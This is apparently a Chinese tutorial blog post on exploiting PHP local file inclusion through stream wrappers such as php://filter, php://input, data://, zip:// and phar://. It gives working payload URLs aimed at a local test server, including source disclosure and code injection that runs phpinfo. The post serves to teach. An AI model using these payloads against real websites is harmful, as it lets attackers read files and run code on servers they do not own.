文件包含PHP伪协议利用方法

首先我们需要把配置文件php.ini

在 php.ini ⾥有两个重要的参数 allow_url_fopen 、allow_url_include;

allow_url_fopen:默认值是 ON。允许 url ⾥的封装协议访问⽂件;

allow_url_include:默认值是 OFF。不允许包含 url ⾥的封装协议包含⽂件;

file://协议

file://⽂件的绝对路径和⽂件名

127.0.0.1/1.php?cmd=file://F:/sxy/phpstudy_pro/WWW/1.txt

php://filter协议

127.0.0.1/1.php?cmd=php://filter/read=convert.base64-encode/resource=1.txt

进行base64解密

php://input协议

抓包进来这里是get传参右击修改

然后构造语句

放包回来就可以看到phpinfo了

data://

使⽤举例: ?file=data:text/plain,

?file=data:text/plain;base64, PD9waHAgcGhwaW5mbygpPz4=

?file=data:text/plain,

?cmd=data:text/plain,<?php%20phpinfo();?>

zip://

把1.txt压缩成zip文件

不能直接读取压缩包内的文件需要在中间加个%23

127.0.0.1/1.php?cmd=zip://1.zip%231.txt构造语句进行读取

phar://

⽤途:读取压缩包内的⽂件(绝对路径/相对路径)

它可以直接读取压缩包内的文件

127.0.0.1/1.php?cmd=phar://1.zip/1.txt

相关推荐
前端小咸鱼一条9 分钟前
14. setState是异步更新
开发语言·前端·javascript
JaguarJack17 分钟前
PHP 组件未来:Livewire 4 正式发布,性能更快,功能更完整
后端·php
无知就要求知34 分钟前
golang封装可扩展的crontab
开发语言·后端·golang
weixin_4672092840 分钟前
Qt Creator打开项目提示no valid settings file could be found
开发语言·qt
国服第二切图仔1 小时前
Rust开发之使用match和if let处理Result错误
开发语言·网络·rust
2501_938773991 小时前
从字节码生成看 Lua VM 前端与后端协同:编译器与执行器衔接逻辑
开发语言·前端·lua
huangql5201 小时前
Nginx 从零到精通 - 最详细的循序渐进教程
开发语言·网络·nginx
xlq223221 小时前
10.string(上)
开发语言·c++
合作小小程序员小小店2 小时前
舆情,情感微博系统demo,基于python+qt+nlp,开发语言python,界面库qt,无数据库版,数据来自第三方网站获取,
开发语言·pytorch·qt·自然语言处理·nlp
hashiqimiya2 小时前
c++的头文件使用
开发语言·c++·算法